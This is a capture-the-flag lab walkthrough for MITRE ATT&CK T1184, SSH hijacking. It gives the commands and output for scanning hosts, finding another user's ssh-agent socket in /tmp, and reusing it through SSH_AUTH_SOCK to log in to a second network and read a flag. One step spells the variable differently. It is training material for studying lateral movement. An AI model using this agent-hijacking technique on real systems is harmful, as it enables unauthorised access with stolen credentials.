

[illegible]

Name	T1184: SSH Hijacking
URL	https://attackdefense.com/challengedetails?cid=1764
Type	MITRE ATT&CK Linux : Lateral Movement

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Leverage the ssh agent socket and retrieve the flag from the machine on the second network.

Solution:

Step 1: Identifying the IP address of the target machines.

Commands: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
924: eth0@if925: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
928: eth1@if929: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:be:05:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.190.5.2/24 brd 192.190.5.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#
```

The first target machine has IP address 192.190.5.3 and the second target machine has IP address 192.190.5.4.

Step 2: Perform nmap scan to check the open ports on the target machines.

Command: nmap -p- 192.190.5.3 192.190.5.4

```
root@attackdefense:~# nmap -p- 192.190.5.3 192.190.5.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-18 11:06 UTC
Nmap scan report for target-1 (192.190.5.3)
Host is up (0.000013s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 02:42:C0:BE:05:03 (Unknown)

Nmap scan report for target-2 (192.190.5.4)
Host is up (0.000013s latency).
All 65535 scanned ports on target-2 (192.190.5.4) are closed
MAC Address: 02:42:C0:BE:05:04 (Unknown)

Nmap done: 2 IP addresses (2 hosts up) scanned in 2.81 seconds
root@attackdefense:~#
```

Port 22 is open on the first target machine.

Step 3: SSH into the first target machine. The login credentials are provided in the challenge description.

Credentials:

- **Username:** root
- **Password:** password

Command: ssh root@192.190.5.3

Enter password "password".

```
root@attackdefense:~# ssh root@192.190.5.3
The authenticity of host '192.190.5.3 (192.190.5.3)' can't be established.
ECDSA key fingerprint is SHA256:y8A531/cDc2iUcLcv7Hs+7tS3ZGtHns8UgBhQMhLVPY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.190.5.3' (ECDSA) to the list of known hosts.
root@192.190.5.3's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
root@victim-1:~#
```

Step 4: By default, the socket used to communicate with the ssh agent is stored in /tmp directory. Check the files in /tmp directory and identify the socket file.

Commands:

```
ls -l /tmp
```

```
ls -l /tmp/ssh-w9okRWTv8/
```

```
root@victim-1:~#
root@victim-1:~# ls -l /tmp/
total 4
drwx----- 2 root root 4096 Dec 18 07:02 ssh-w9okRWTv8
root@victim-1:~#
root@victim-1:~# ls -l /tmp/ssh-w9okRWTv8/
total 0
srwxr-xr-x 1 root root 0 Dec 18 07:02 agent.17
root@victim-1:~#
```

Step 5: Set the ssh authentication socket and List the ssh keys available through ssh agent.

Command: SSH_AUTH_SOCK=/tmp/ssh-w9okRWTv8/agent.17 ssh-add -l

```
root@victim-1:~#
root@victim-1:~# SSH_AUTH_SOCK=/tmp/ssh-w9okRWTv8/agent.17 ssh-add -l
2048 SHA256:/Ek0PVJmfmsDXIJu1tfPdISFPhYgn7304HB1Jb3nM8k root@attackdefense.com (RSA)
root@victim-1:~#
```

An ssh key is available.

Step 6: Identify the IP address of the second network.

Command: ip addr

```
root@victim-1:~#
root@victim-1:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
930: eth0@if931: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:be:05:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.190.5.3/24 brd 192.190.5.255 scope global eth0
        valid_lft forever preferred_lft forever
932: eth1@if933: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:15:c1:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.21.193.2/24 brd 192.21.193.255 scope global eth1
        valid_lft forever preferred_lft forever
root@victim-1:~#
```

Since the IP address of current machine on the second network is 192.21.193.2. The IP address of the target machine on the second will be 192.21.193.3

Step 7: Using netcat check the open port on the target machine.

Command: nc -v -n -w2 -z 192.21.193.3 1-65535

```
root@victim-1:~#
root@victim-1:~# nc -v -n -w2 -z 192.21.193.3 1-65535
(UNKNOWN) [192.21.193.3] 22 (?) open
root@victim-1:~#
root@victim-1:~#
```

The SSH server is running on port 22 on the target machine.

Step 8: Set the SSH authentication socket and SSH into the target machine.

Command: `SSH_AUTH_SOCKET=/tmp/ssh-w9okRWTv8/agent.17 ssh root@192.21.193.3`

```
root@victim-1:~#
root@victim-1:~# SSH_AUTH_SOCKET=/tmp/ssh-w9okRWTv8/agent.17 ssh root@192.21.193.3
The authenticity of host '192.21.193.3 (192.21.193.3)' can't be established.
ECDSA key fingerprint is SHA256:EZ25LpxZWHWpXyYa8FHGbC3EZtArxgyMbLqOPqorXC0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.21.193.3' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Dec 18 11:48:31 2019 from 192.21.193.2
root@victim-1:~#
```

Step 9: Search for the flag on the filesystem.


Command: `find / -name flag 2>/dev/null`

```
root@victim-1:~#
root@victim-1:~# find / -name flag 2>/dev/null
/root/flag
root@victim-1:~#
```

Step 10: Retrieve the flag.

Command: `cat /root/flag`

```
root@victim-1:~#
root@victim-1:~# cat /root/flag
30a5cdaeff110fa982cfda07af5ed340
root@victim-1:~#
```

Flag: 30a5cdaeff110fa982cfda07af5ed340